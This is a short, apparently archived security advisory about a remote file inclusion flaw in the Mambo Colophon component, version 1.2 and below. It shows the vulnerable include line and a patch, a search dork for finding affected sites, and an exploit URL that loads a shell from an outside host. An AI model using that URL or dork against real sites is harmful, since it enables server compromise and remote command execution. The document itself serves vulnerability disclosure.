Colophon versions 1.2 and below suffer from a remote file inclusion vulnerability.
96deb470d0aaf6deb2b335336276253e########### REMOTE COMMAND Mambo Colophon =<1.2 ##by
#Drago84#########
Found By Drago84
Exclusive Security Italian Security
This bug allows a remote atacker to execute commands via
rfi
page:
admin.colophon.php
bug:
require_once("$mosConfig_absolute_path/components/com_colophon/language/$mosConfig_lang.php");
path:
add in admin.colophon.php
defined( '_VALID_MOS' ) or die( 'hacking attemp.' );
dork: inurl:com_colophon
expl:
htttp:/www.site.it/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://evalsite/shell.php?
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!